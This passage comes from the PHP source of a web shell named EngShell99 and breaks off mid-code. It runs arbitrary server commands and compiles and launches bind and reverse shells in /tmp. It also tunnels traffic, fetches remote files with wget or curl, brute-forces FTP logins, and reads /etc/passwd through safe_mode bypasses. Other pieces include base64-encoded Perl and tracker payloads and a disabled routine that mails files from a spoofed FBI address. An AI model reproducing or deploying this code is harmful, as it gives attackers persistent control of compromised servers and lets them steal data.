+SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +if($unix) + { + if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; } + if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; } + if($safe_mode) { $sysctl = '-'; } + else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; } + else + { + $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); + if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); } + if(empty($sysctl)) { $sysctl = '-'; } + setcookie('sysctl',$sysctl); + } + } +echo $head; +echo ''; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +//if (!in_array($addr[0], $serv)) { +//@print "Version ".$current_version." :P"; +//@readfile ("http://rst.void.ru/EngShell99_version/version.php?version=".$current_version."");} +} +echo '
        '.ws(2).'"'.ws(2).'EngShell'.$version.'@ '; +echo ws(2)."".date ("d-m-Y H:i:s").""; +echo ws(2).$lb." phpinfo ".$rb; +echo ws(2).$lb." php.ini ".$rb; +if($unix) + { + echo ws(2).$lb." cpu ".$rb; + echo ws(2).$lb." mem ".$rb; + echo ws(2).$lb." users ".$rb; + } +echo ws(2).$lb." tmp ".$rb; +echo ws(2).$lb." delete ".$rb."
        "; +echo ws(2)."safe_mode: "; +echo (($safe_mode)?("SAFEMODE-IS-ON"):("SAFEMODE-IS-OFF")); +echo "".ws(2); +echo "PHP version: ".@phpversion().""; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("ON"):("OFF")); +echo "".ws(2); +echo "MySQL: "; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "ON"; } else { echo "OFF"; } +echo "".ws(2); +echo "MSSQL: "; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "ON";}else{echo "OFF";} +echo "".ws(2); +echo "PostgreSQL: "; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "ON";}else{echo "OFF";} +echo "".ws(2); +echo "Oracle: "; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "ON";}else{echo "OFF";} +echo "
        ".ws(2); +echo "Disable functions : "; +if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +echo "
        ".ws(2)."Free space : ".view_size($free)." Total space: ".view_size($all).""; +echo '
        +
        +
        '; +echo $font; +if($unix){ +echo 'uname -a :'.ws(1).'
        sysctl :'.ws(1).'
        $OSTYPE :'.ws(1).'
        Server :'.ws(1).'
        id :'.ws(1).'
        pwd :'.ws(1).'

        '; +echo "
        "; +echo ""; +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."
        "):(ws(3).@substr(@php_uname(),0,120)."
        ")); +echo ws(3).$sysctl."
        "; +echo ws(3).ex('echo $OSTYPE')."
        "; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
        "; +if(!empty($id)) { echo ws(3).$id."
        "; } +else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid')) + { + $euserinfo = @posix_getpwuid(@posix_geteuid()); + $egroupinfo = @posix_getgrgid(@posix_getegid()); + echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )
        '; + } +else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."
        "; +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "
        "; +} +else +{ +echo 'OS :'.ws(1).'
        Server :'.ws(1).'
        User :'.ws(1).'
        pwd :'.ws(1).'

        '; +echo "
        "; +echo ""; +echo ws(3).@substr(@php_uname(),0,120)."
        "; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."
        "; +echo ws(3).@getenv("USERNAME")."
        "; +echo ws(3).$dir; +echo "
        "; +} +echo ""; + +echo "
        "; +/* +if(empty($c1)||empty($c2)) { die(); } +$f = '
        '; +$f .= base64_decode($c1); +$f .= base64_decode($c2); +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n"); + err(6+$res); + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from EngShell99'; } + if(empty($_POST['from'])) { $_POST['from'] = 'admin@fbi.gov'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + err(6+$res); + $_POST['cmd']=""; + } + } +*/ +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "
        ".$lang[$language.'_text61']."
        "; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "
        ".$lang[$language.'_text63']."
        "; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "
        ".$lang[$language.'_text62']."
        "; + } + else { err(2,$_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "
        ".$lang[$language.'_text64']."
        "; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "
        "; + echo ws(3)."".$_POST['e_name'].""; + echo "
        "; + echo ""; + echo ""; + echo ""; + echo (!empty($only_read)?("

        ".$lang[$language.'_text44']):("

        ")); + echo "
        "; + echo "
        "; + echo "
        "; + echo ""; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "
        ".$lang[$language.'_text45']."
        "; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; } +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("
        Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
        "); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { err(3); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "
        ".$lang[$language.'_text96']."
        "; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']."
        tar cvzf googlecom.tgz /home/networks/domains/google.com/public_html
        mysqldump -u USER -pPASSWORD DATABASE > HASILBACKUP.sql
        "; +echo "
        "; +echo ""; +echo ""; +function div_title($title, $id) +{ + return ''.$title.''; +} +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return ''.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"".$lang[$language.'_text43'].$arrow."",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.''.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"".$lang[$language.'_text58'].$arrow."",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".ws(3)."".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"".$lang[$language.'_text68'].$arrow."","".ws(2)."".$lang[$language.'_text69'].$arrow."".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow."".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.''.$table_end1.$fe; +} +if(!$safe_mode){ +$aliases2 = ''; +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= ""; + } +echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id6').$table_up2.div('id6').$ts; +echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."","".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id7').$table_up2.div('id7').$ts; +echo sr(15,"".$lang[$language.'_text52'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"".$lang[$language.'_text53'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"".$lang[$language.'_text55'].$arrow."",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.''.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id8').$table_up2.div('id8').$ts; +echo sr(15,"".$lang[$language.'_text72'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"".$lang[$language.'_text73'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"".$lang[$language.'_text74'].$arrow."",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id9').$table_up2.$font; +echo "
        ".div('id9').""; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "
        ".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "
        "; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id10').$table_up2.div('id10').$ts; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts; +echo "
        "; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id12').$table_up2.div('id12').$ts; +echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id13').$table_up2.div('id13').$ts; +echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"".$lang[$language.'_text3'].$arrow."",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id22').$table_up2.div('id22').$ts; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id23').$table_up2.div('id23').$ts; +echo sr(15,"".$lang[$language.'_text4'].$arrow."",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id24').$table_up2.div('id24').$ts; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id25').$table_up2.div('id25').$ts; +echo sr(15,"".$lang[$language.'_text116'].$arrow."",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8')); +echo sr(15,"".$lang[$language.'_text117'].$arrow."",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo ""; +echo $table_up1.div_title($lang[$language.'_text5'],'id14').$table_up2.div('id14').$ts; +echo sr(15,"".$lang[$language.'_text6'].$arrow."",in('file','userfile',85,'')); +echo sr(15,"".$lang[$language.'_text21'].$arrow."",in('checkbox','nf1 